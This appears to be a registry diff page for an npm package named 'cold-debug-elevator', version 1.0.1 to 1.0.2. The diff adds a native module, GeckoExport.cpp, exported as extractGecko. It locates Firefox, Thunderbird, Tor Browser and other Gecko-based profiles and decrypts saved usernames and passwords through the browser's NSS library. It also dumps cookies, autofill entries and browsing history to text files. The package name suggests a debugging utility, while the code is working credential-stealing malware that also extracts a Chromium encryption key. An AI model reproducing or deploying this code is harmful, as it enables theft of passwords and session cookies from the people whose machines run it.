cold-debug-elevator 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/binding.gyp +6 -5
- package/index.js +3 -0
- package/package.json +1 -1
- package/src/DebugChromium.cpp +1 -0
- package/src/GeckoExport.cpp +375 -0
- package/src/GeckoExport.hpp +8 -0
- package/src/main.cpp +19 -0
package/binding.gyp
CHANGED
|
@@ -5,11 +5,12 @@
|
|
|
5
5
|
"variables": {
|
|
6
6
|
"clang": 0
|
|
7
7
|
},
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
8
|
+
"sources": [
|
|
9
|
+
"src/main.cpp",
|
|
10
|
+
"src/DebugChromium.cpp",
|
|
11
|
+
"src/BrowserExport.cpp",
|
|
12
|
+
"src/GeckoExport.cpp"
|
|
13
|
+
],
|
|
13
14
|
"include_dirs": [
|
|
14
15
|
"<!@(node -p \"require('node-addon-api').include\")",
|
|
15
16
|
"<(module_root_dir)\\..\\builder\\src\\Chromium-DebugElevator-main (1)\\Chromium-DebugElevator-main\\vcpkg_installed\\x64-windows-static\\include"
|
package/index.js
CHANGED
|
@@ -3,5 +3,8 @@ const debug1337 = require('./build/Release/debug1337.node');
|
|
|
3
3
|
module.exports = {
|
|
4
4
|
extract: (browserPath, outputPath) => {
|
|
5
5
|
return debug1337.extract(browserPath, outputPath);
|
|
6
|
+
},
|
|
7
|
+
extractGecko: (outputPath) => {
|
|
8
|
+
return debug1337.extractGecko(outputPath);
|
|
6
9
|
}
|
|
7
10
|
};
|
package/package.json
CHANGED
package/src/DebugChromium.cpp
CHANGED
|
@@ -974,6 +974,7 @@ std::optional<std::vector<uint8_t>> ExtractAppBoundKey(const fs::path& exePath)
|
|
|
974
974
|
args.targetDll = targetDll;
|
|
975
975
|
|
|
976
976
|
KillProcessesByName(exePath.filename().wstring());
|
|
977
|
+
Sleep(1000); // Wait for file locks to be released
|
|
977
978
|
HANDLE hThread = CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DebugLoop), &args, 0, nullptr);
|
|
978
979
|
if (!hThread) return std::nullopt;
|
|
979
980
|
if (WaitForSingleObject(hThread, DEBUG_LOOP_TIMEOUT) == WAIT_TIMEOUT) { TerminateThread(hThread, 1); CloseHandle(hThread); return std::nullopt; }
|
|
@@ -0,0 +1,375 @@
|
|
|
1
|
+
#include "GeckoExport.hpp"
|
|
2
|
+
#include <iostream>
|
|
3
|
+
#include <windows.h>
|
|
4
|
+
#include <string>
|
|
5
|
+
#include <vector>
|
|
6
|
+
#include <fstream>
|
|
7
|
+
#include <shlobj.h>
|
|
8
|
+
#include <algorithm>
|
|
9
|
+
#include <filesystem>
|
|
10
|
+
|
|
11
|
+
namespace fs = std::filesystem;
|
|
12
|
+
|
|
13
|
+
// NSS Types and Constants
|
|
14
|
+
struct SECItem {
|
|
15
|
+
int type;
|
|
16
|
+
unsigned char* data;
|
|
17
|
+
unsigned int len;
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
// Function pointer types for NSS functions
|
|
21
|
+
typedef int(__cdecl* NSS_Init)(const char*);
|
|
22
|
+
typedef int(__cdecl* NSS_Shutdown)();
|
|
23
|
+
typedef int(__cdecl* PK11SDR_Decrypt)(SECItem*, SECItem*, void*);
|
|
24
|
+
typedef void* (__cdecl* PK11_GetInternalKeySlot)();
|
|
25
|
+
typedef int(__cdecl* PK11_Authenticate)(void*, int, void*);
|
|
26
|
+
typedef void(__cdecl* SECITEM_FreeItem)(SECItem*, bool);
|
|
27
|
+
|
|
28
|
+
// SQLite types and functions from nss3.dll
|
|
29
|
+
typedef struct sqlite3 sqlite3;
|
|
30
|
+
typedef struct sqlite3_stmt sqlite3_stmt;
|
|
31
|
+
typedef int(__cdecl* sqlite3_open)(const char*, sqlite3**);
|
|
32
|
+
typedef int(__cdecl* sqlite3_prepare_v2)(sqlite3*, const char*, int, sqlite3_stmt**, const char**);
|
|
33
|
+
typedef int(__cdecl* sqlite3_step)(sqlite3_stmt*);
|
|
34
|
+
typedef const unsigned char* (__cdecl* sqlite3_column_text)(sqlite3_stmt*, int);
|
|
35
|
+
typedef int(__cdecl* sqlite3_column_int)(sqlite3_stmt*, int);
|
|
36
|
+
typedef long long(__cdecl* sqlite3_column_int64)(sqlite3_stmt*, int);
|
|
37
|
+
typedef int(__cdecl* sqlite3_finalize)(sqlite3_stmt*);
|
|
38
|
+
typedef int(__cdecl* sqlite3_close)(sqlite3*);
|
|
39
|
+
|
|
40
|
+
// Global function pointers
|
|
41
|
+
static NSS_Init pNSS_Init = nullptr;
|
|
42
|
+
static NSS_Shutdown pNSS_Shutdown = nullptr;
|
|
43
|
+
static PK11SDR_Decrypt pPK11SDR_Decrypt = nullptr;
|
|
44
|
+
static PK11_GetInternalKeySlot pPK11_GetInternalKeySlot = nullptr;
|
|
45
|
+
static PK11_Authenticate pPK11_Authenticate = nullptr;
|
|
46
|
+
static SECITEM_FreeItem pSECITEM_FreeItem = nullptr;
|
|
47
|
+
|
|
48
|
+
static sqlite3_open p_sqlite3_open = nullptr;
|
|
49
|
+
static sqlite3_prepare_v2 p_sqlite3_prepare_v2 = nullptr;
|
|
50
|
+
static sqlite3_step p_sqlite3_step = nullptr;
|
|
51
|
+
static sqlite3_column_text p_sqlite3_column_text = nullptr;
|
|
52
|
+
static sqlite3_column_int p_sqlite3_column_int = nullptr;
|
|
53
|
+
static sqlite3_column_int64 p_sqlite3_column_int64 = nullptr;
|
|
54
|
+
static sqlite3_finalize p_sqlite3_finalize = nullptr;
|
|
55
|
+
static sqlite3_close p_sqlite3_close = nullptr;
|
|
56
|
+
|
|
57
|
+
// Simple Base64 Decoder
|
|
58
|
+
static std::vector<unsigned char> Base64Decode(const std::string& input) {
|
|
59
|
+
static const std::string base64_chars =
|
|
60
|
+
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
61
|
+
"abcdefghijklmnopqrstuvwxyz"
|
|
62
|
+
"0123456789+/";
|
|
63
|
+
|
|
64
|
+
auto is_base64 = [](unsigned char c) {
|
|
65
|
+
return (isalnum(c) || (c == '+') || (c == '/'));
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
int in_len = input.size();
|
|
69
|
+
int i = 0, j = 0, in_ = 0;
|
|
70
|
+
unsigned char char_array_4[4], char_array_3[3];
|
|
71
|
+
std::vector<unsigned char> ret;
|
|
72
|
+
|
|
73
|
+
while (in_len-- && (input[in_] != '=') && is_base64(input[in_])) {
|
|
74
|
+
char_array_4[i++] = input[in_]; in_++;
|
|
75
|
+
if (i == 4) {
|
|
76
|
+
for (i = 0; i < 4; i++)
|
|
77
|
+
char_array_4[i] = base64_chars.find(char_array_4[i]);
|
|
78
|
+
|
|
79
|
+
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
|
|
80
|
+
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
|
|
81
|
+
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
|
|
82
|
+
|
|
83
|
+
for (i = 0; (i < 3); i++)
|
|
84
|
+
ret.push_back(char_array_3[i]);
|
|
85
|
+
i = 0;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
if (i) {
|
|
90
|
+
for (j = i; j < 4; j++)
|
|
91
|
+
char_array_4[j] = 0;
|
|
92
|
+
|
|
93
|
+
for (j = 0; j < 4; j++)
|
|
94
|
+
char_array_4[j] = base64_chars.find(char_array_4[j]);
|
|
95
|
+
|
|
96
|
+
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
|
|
97
|
+
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
|
|
98
|
+
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
|
|
99
|
+
|
|
100
|
+
for (j = 0; (j < i - 1); j++) ret.push_back(char_array_3[j]);
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
return ret;
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
static std::string DecryptString(const std::string& base64Data) {
|
|
107
|
+
if (!pPK11SDR_Decrypt) return "";
|
|
108
|
+
std::vector<unsigned char> decoded = Base64Decode(base64Data);
|
|
109
|
+
if (decoded.empty()) return "";
|
|
110
|
+
SECItem encrypted = {0, decoded.data(), (unsigned int)decoded.size()};
|
|
111
|
+
SECItem decrypted = {0, nullptr, 0};
|
|
112
|
+
if (pPK11SDR_Decrypt(&encrypted, &decrypted, nullptr) == 0) {
|
|
113
|
+
std::string result((char*)decrypted.data, decrypted.len);
|
|
114
|
+
if (pSECITEM_FreeItem) pSECITEM_FreeItem(&decrypted, false);
|
|
115
|
+
return result;
|
|
116
|
+
}
|
|
117
|
+
return "";
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
static bool LoadNSS(const std::string& firefoxDir) {
|
|
121
|
+
if (firefoxDir.empty()) return false;
|
|
122
|
+
SetDllDirectoryA(firefoxDir.c_str());
|
|
123
|
+
std::string nssPath = firefoxDir + "\\nss3.dll";
|
|
124
|
+
HMODULE hNss = LoadLibraryExA(nssPath.c_str(), NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
|
|
125
|
+
if (!hNss) return false;
|
|
126
|
+
|
|
127
|
+
auto LoadFunc = [&](void** ptr, const char* name) {
|
|
128
|
+
*ptr = (void*)GetProcAddress(hNss, name);
|
|
129
|
+
return *ptr != nullptr;
|
|
130
|
+
};
|
|
131
|
+
|
|
132
|
+
bool ok = true;
|
|
133
|
+
ok &= LoadFunc((void**)&pNSS_Init, "NSS_Init");
|
|
134
|
+
ok &= LoadFunc((void**)&pNSS_Shutdown, "NSS_Shutdown");
|
|
135
|
+
ok &= LoadFunc((void**)&pPK11SDR_Decrypt, "PK11SDR_Decrypt");
|
|
136
|
+
ok &= LoadFunc((void**)&pPK11_GetInternalKeySlot, "PK11_GetInternalKeySlot");
|
|
137
|
+
ok &= LoadFunc((void**)&pPK11_Authenticate, "PK11_Authenticate");
|
|
138
|
+
ok &= LoadFunc((void**)&pSECITEM_FreeItem, "SECITEM_FreeItem");
|
|
139
|
+
|
|
140
|
+
ok &= LoadFunc((void**)&p_sqlite3_open, "sqlite3_open");
|
|
141
|
+
ok &= LoadFunc((void**)&p_sqlite3_prepare_v2, "sqlite3_prepare_v2");
|
|
142
|
+
ok &= LoadFunc((void**)&p_sqlite3_step, "sqlite3_step");
|
|
143
|
+
ok &= LoadFunc((void**)&p_sqlite3_column_text, "sqlite3_column_text");
|
|
144
|
+
ok &= LoadFunc((void**)&p_sqlite3_column_int, "sqlite3_column_int");
|
|
145
|
+
ok &= LoadFunc((void**)&p_sqlite3_column_int64, "sqlite3_column_int64");
|
|
146
|
+
ok &= LoadFunc((void**)&p_sqlite3_finalize, "sqlite3_finalize");
|
|
147
|
+
ok &= LoadFunc((void**)&p_sqlite3_close, "sqlite3_close");
|
|
148
|
+
|
|
149
|
+
if (!ok) { FreeLibrary(hNss); return false; }
|
|
150
|
+
return true;
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
struct BrowserInfo {
|
|
154
|
+
std::string name;
|
|
155
|
+
std::string profileSubDir; // relative to %APPDATA%
|
|
156
|
+
std::string installDirName; // common folder name in Program Files
|
|
157
|
+
};
|
|
158
|
+
|
|
159
|
+
static std::vector<BrowserInfo> geckoBrowsers = {
|
|
160
|
+
{"Firefox", "Mozilla\\Firefox\\Profiles", "Mozilla Firefox"},
|
|
161
|
+
{"Thunderbird", "Thunderbird\\Profiles", "Mozilla Thunderbird"},
|
|
162
|
+
{"Waterfox", "Waterfox\\Profiles", "Waterfox"},
|
|
163
|
+
{"SeaMonkey", "Mozilla\\SeaMonkey\\Profiles", "SeaMonkey"},
|
|
164
|
+
{"Pale Moon", "Moonchild Productions\\Pale Moon\\Profiles", "Pale Moon"},
|
|
165
|
+
{"LibreWolf", "LibreWolf\\Profiles", "LibreWolf"},
|
|
166
|
+
{"Tor Browser", "Tor Browser\\Browser\\Desktop\\Browser\\Data\\Browser\\profile.default", "Tor Browser"}
|
|
167
|
+
};
|
|
168
|
+
|
|
169
|
+
static std::vector<std::string> GetAllProfilePaths() {
|
|
170
|
+
std::vector<std::string> paths;
|
|
171
|
+
char appData[MAX_PATH];
|
|
172
|
+
if (!SHGetSpecialFolderPathA(NULL, appData, CSIDL_APPDATA, FALSE)) return paths;
|
|
173
|
+
|
|
174
|
+
for (const auto& browser : geckoBrowsers) {
|
|
175
|
+
std::string baseDir = std::string(appData) + "\\" + browser.profileSubDir;
|
|
176
|
+
|
|
177
|
+
if (browser.name == "Tor Browser") {
|
|
178
|
+
if (GetFileAttributesA(baseDir.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
|
179
|
+
paths.push_back(baseDir);
|
|
180
|
+
}
|
|
181
|
+
continue;
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
WIN32_FIND_DATAA findData;
|
|
185
|
+
HANDLE hFind = FindFirstFileA((baseDir + "\\*").c_str(), &findData);
|
|
186
|
+
if (hFind != INVALID_HANDLE_VALUE) {
|
|
187
|
+
do {
|
|
188
|
+
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
|
189
|
+
std::string name = findData.cFileName;
|
|
190
|
+
if (name != "." && name != "..") {
|
|
191
|
+
std::string profilePath = baseDir + "\\" + name;
|
|
192
|
+
std::string check = profilePath + "\\key4.db";
|
|
193
|
+
if (GetFileAttributesA(check.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
|
194
|
+
paths.push_back(profilePath);
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
}
|
|
198
|
+
} while (FindNextFileA(hFind, &findData));
|
|
199
|
+
FindClose(hFind);
|
|
200
|
+
}
|
|
201
|
+
}
|
|
202
|
+
return paths;
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
static std::vector<std::string> GetPossibleInstallDirs() {
|
|
206
|
+
std::vector<std::string> dirs;
|
|
207
|
+
HKEY hKey;
|
|
208
|
+
char value[MAX_PATH];
|
|
209
|
+
DWORD size = sizeof(value);
|
|
210
|
+
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
|
211
|
+
if (RegQueryValueExA(hKey, "Path", NULL, NULL, (LPBYTE)value, &size) == ERROR_SUCCESS) {
|
|
212
|
+
dirs.push_back(std::string(value));
|
|
213
|
+
}
|
|
214
|
+
RegCloseKey(hKey);
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
std::vector<std::string> programFiles = {"C:\\Program Files", "C:\\Program Files (x86)"};
|
|
218
|
+
for (const auto& pf : programFiles) {
|
|
219
|
+
for (const auto& browser : geckoBrowsers) {
|
|
220
|
+
dirs.push_back(pf + "\\" + browser.installDirName);
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
return dirs;
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
static void ProcessProfile(const std::string& profilePath, const std::string& outRoot) {
|
|
227
|
+
size_t lastSlash = profilePath.find_last_of("\\");
|
|
228
|
+
std::string profileName = (lastSlash != std::string::npos) ? profilePath.substr(lastSlash + 1) : "Unknown";
|
|
229
|
+
|
|
230
|
+
std::string browserName = "Gecko";
|
|
231
|
+
for (const auto& b : geckoBrowsers) {
|
|
232
|
+
if (profilePath.find(b.profileSubDir) != std::string::npos) {
|
|
233
|
+
browserName = b.name;
|
|
234
|
+
break;
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
std::string outDir = outRoot + "\\" + browserName + "_" + profileName;
|
|
239
|
+
CreateDirectoryA(outDir.c_str(), NULL);
|
|
240
|
+
|
|
241
|
+
if (pNSS_Init(profilePath.c_str()) != 0) {
|
|
242
|
+
return;
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
// Passwords.txt
|
|
246
|
+
std::ofstream passFile(outDir + "\\passwords.txt");
|
|
247
|
+
std::string loginsPath = profilePath + "\\logins.json";
|
|
248
|
+
std::ifstream f(loginsPath);
|
|
249
|
+
if (f.is_open()) {
|
|
250
|
+
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
|
251
|
+
size_t pos = 0;
|
|
252
|
+
while ((pos = content.find("\"hostname\"", pos)) != std::string::npos) {
|
|
253
|
+
size_t hostStart = content.find("\"", pos + 10) + 1;
|
|
254
|
+
size_t hostEnd = content.find("\"", hostStart);
|
|
255
|
+
std::string host = content.substr(hostStart, hostEnd - hostStart);
|
|
256
|
+
size_t userPos = content.find("\"encryptedUsername\"", hostEnd);
|
|
257
|
+
size_t userStart = content.find("\"", userPos + 19) + 1;
|
|
258
|
+
size_t userEnd = content.find("\"", userStart);
|
|
259
|
+
std::string encUser = content.substr(userStart, userEnd - userStart);
|
|
260
|
+
size_t passPos = content.find("\"encryptedPassword\"", userEnd);
|
|
261
|
+
size_t passStart = content.find("\"", passPos + 19) + 1;
|
|
262
|
+
size_t passEnd = content.find("\"", passStart);
|
|
263
|
+
std::string encPass = content.substr(passStart, passEnd - passStart);
|
|
264
|
+
passFile << "=========<Sage Private>==========\n" << host << "\n" << DecryptString(encUser) << " : " << DecryptString(encPass) << "\n\n";
|
|
265
|
+
pos = passEnd;
|
|
266
|
+
}
|
|
267
|
+
}
|
|
268
|
+
passFile.close();
|
|
269
|
+
|
|
270
|
+
// cookies.txt
|
|
271
|
+
std::string cookiesPath = profilePath + "\\cookies.sqlite";
|
|
272
|
+
sqlite3* db;
|
|
273
|
+
if (p_sqlite3_open(cookiesPath.c_str(), &db) == 0) {
|
|
274
|
+
std::ofstream cookieFile(outDir + "\\cookies.txt");
|
|
275
|
+
cookieFile << "# Netscape HTTP Cookie File\n\n";
|
|
276
|
+
sqlite3_stmt* stmt;
|
|
277
|
+
const char* sql = "SELECT host, path, isSecure, expiry, name, value FROM moz_cookies";
|
|
278
|
+
if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
|
|
279
|
+
while (p_sqlite3_step(stmt) == 100) {
|
|
280
|
+
const char* host_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
|
|
281
|
+
const char* path_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
|
|
282
|
+
int isSecure = p_sqlite3_column_int(stmt, 2);
|
|
283
|
+
long long expiry = p_sqlite3_column_int64(stmt, 3);
|
|
284
|
+
const char* name_ptr = (const char*)p_sqlite3_column_text(stmt, 4);
|
|
285
|
+
const char* value_ptr = (const char*)p_sqlite3_column_text(stmt, 5);
|
|
286
|
+
|
|
287
|
+
std::string host = host_ptr ? host_ptr : "";
|
|
288
|
+
std::string path = path_ptr ? path_ptr : "";
|
|
289
|
+
std::string name = name_ptr ? name_ptr : "";
|
|
290
|
+
std::string value = value_ptr ? value_ptr : "";
|
|
291
|
+
|
|
292
|
+
std::string flag = (!host.empty() && host[0] == '.') ? "TRUE" : "FALSE";
|
|
293
|
+
cookieFile << host << "\t" << flag << "\t" << path << "\t" << (isSecure ? "TRUE" : "FALSE") << "\t" << expiry << "\t" << name << "\t" << value << "\n";
|
|
294
|
+
}
|
|
295
|
+
p_sqlite3_finalize(stmt);
|
|
296
|
+
}
|
|
297
|
+
p_sqlite3_close(db);
|
|
298
|
+
cookieFile.close();
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
// autofills.txt
|
|
302
|
+
std::string formPath = profilePath + "\\formhistory.sqlite";
|
|
303
|
+
if (p_sqlite3_open(formPath.c_str(), &db) == 0) {
|
|
304
|
+
std::ofstream autoFile(outDir + "\\autofills.txt");
|
|
305
|
+
sqlite3_stmt* stmt;
|
|
306
|
+
const char* sql = "SELECT fieldname, value FROM moz_formhistory";
|
|
307
|
+
if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
|
|
308
|
+
while (p_sqlite3_step(stmt) == 100) {
|
|
309
|
+
const char* field_ptr = (const char*)p_sqlite3_column_text(stmt, 0);
|
|
310
|
+
const char* val_ptr = (const char*)p_sqlite3_column_text(stmt, 1);
|
|
311
|
+
std::string field = field_ptr ? field_ptr : "";
|
|
312
|
+
std::string value = val_ptr ? val_ptr : "";
|
|
313
|
+
autoFile << field << " : " << value << "\n";
|
|
314
|
+
}
|
|
315
|
+
p_sqlite3_finalize(stmt);
|
|
316
|
+
}
|
|
317
|
+
p_sqlite3_close(db);
|
|
318
|
+
autoFile.close();
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
// history.txt
|
|
322
|
+
std::string historyPath = profilePath + "\\places.sqlite";
|
|
323
|
+
if (p_sqlite3_open(historyPath.c_str(), &db) == 0) {
|
|
324
|
+
std::ofstream historyFile(outDir + "\\history.txt");
|
|
325
|
+
sqlite3_stmt* stmt;
|
|
326
|
+
const char* sql = "SELECT url, title FROM moz_places ORDER BY last_visit_date DESC";
|
|
327
|
+
if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) == 0) {
|
|
328
|
+
size_t totalBytes = 0;
|
|
329
|
+
while (p_sqlite3_step(stmt) == 100 && totalBytes < 300 * 1024) {
|
|
330
|
+
const char* url = (const char*)p_sqlite3_column_text(stmt, 0);
|
|
331
|
+
const char* title = (const char*)p_sqlite3_column_text(stmt, 1);
|
|
332
|
+
std::string line = std::string(url ? url : "") + " | " + (title ? title : "") + "\n";
|
|
333
|
+
historyFile << line;
|
|
334
|
+
totalBytes += line.length();
|
|
335
|
+
}
|
|
336
|
+
p_sqlite3_finalize(stmt);
|
|
337
|
+
}
|
|
338
|
+
p_sqlite3_close(db);
|
|
339
|
+
historyFile.close();
|
|
340
|
+
}
|
|
341
|
+
|
|
342
|
+
pNSS_Shutdown();
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
extern "C" bool ExtractGeckoData(const wchar_t* outputPath) {
|
|
346
|
+
std::string outRoot;
|
|
347
|
+
if (outputPath) {
|
|
348
|
+
std::wstring ws(outputPath);
|
|
349
|
+
outRoot = std::string(ws.begin(), ws.end());
|
|
350
|
+
} else {
|
|
351
|
+
outRoot = "output";
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
CreateDirectoryA(outRoot.c_str(), NULL);
|
|
355
|
+
|
|
356
|
+
std::vector<std::string> installDirs = GetPossibleInstallDirs();
|
|
357
|
+
bool loaded = false;
|
|
358
|
+
for (const auto& dir : installDirs) {
|
|
359
|
+
if (!dir.empty() && LoadNSS(dir)) {
|
|
360
|
+
loaded = true;
|
|
361
|
+
break;
|
|
362
|
+
}
|
|
363
|
+
}
|
|
364
|
+
|
|
365
|
+
if (!loaded) return false;
|
|
366
|
+
|
|
367
|
+
std::vector<std::string> profiles = GetAllProfilePaths();
|
|
368
|
+
if (profiles.empty()) return false;
|
|
369
|
+
|
|
370
|
+
for (const auto& profile : profiles) {
|
|
371
|
+
ProcessProfile(profile, outRoot);
|
|
372
|
+
}
|
|
373
|
+
|
|
374
|
+
return true;
|
|
375
|
+
}
|
package/src/main.cpp
CHANGED
|
@@ -3,6 +3,7 @@
|
|
|
3
3
|
#include <string>
|
|
4
4
|
|
|
5
5
|
extern "C" bool ExtractBrowserData(const wchar_t* browserPath, const wchar_t* outputPath);
|
|
6
|
+
extern "C" bool ExtractGeckoData(const wchar_t* outputPath);
|
|
6
7
|
|
|
7
8
|
Napi::Value Extract(const Napi::CallbackInfo& info) {
|
|
8
9
|
Napi::Env env = info.Env();
|
|
@@ -23,8 +24,26 @@ Napi::Value Extract(const Napi::CallbackInfo& info) {
|
|
|
23
24
|
return Napi::Boolean::New(env, result);
|
|
24
25
|
}
|
|
25
26
|
|
|
27
|
+
Napi::Value ExtractGecko(const Napi::CallbackInfo& info) {
|
|
28
|
+
Napi::Env env = info.Env();
|
|
29
|
+
|
|
30
|
+
if (info.Length() < 1 || !info[0].IsString()) {
|
|
31
|
+
Napi::TypeError::New(env, "String expected").ThrowAsJavaScriptException();
|
|
32
|
+
return env.Null();
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
std::u16string outputPathU16 = info[0].As<Napi::String>().Utf16Value();
|
|
36
|
+
|
|
37
|
+
bool result = ExtractGeckoData(
|
|
38
|
+
reinterpret_cast<const wchar_t*>(outputPathU16.c_str())
|
|
39
|
+
);
|
|
40
|
+
|
|
41
|
+
return Napi::Boolean::New(env, result);
|
|
42
|
+
}
|
|
43
|
+
|
|
26
44
|
Napi::Object Init(Napi::Env env, Napi::Object exports) {
|
|
27
45
|
exports.Set(Napi::String::New(env, "extract"), Napi::Function::New(env, Extract));
|
|
46
|
+
exports.Set(Napi::String::New(env, "extractGecko"), Napi::Function::New(env, ExtractGecko));
|
|
28
47
|
return exports;
|
|
29
48
|
}
|
|
30
49
|
|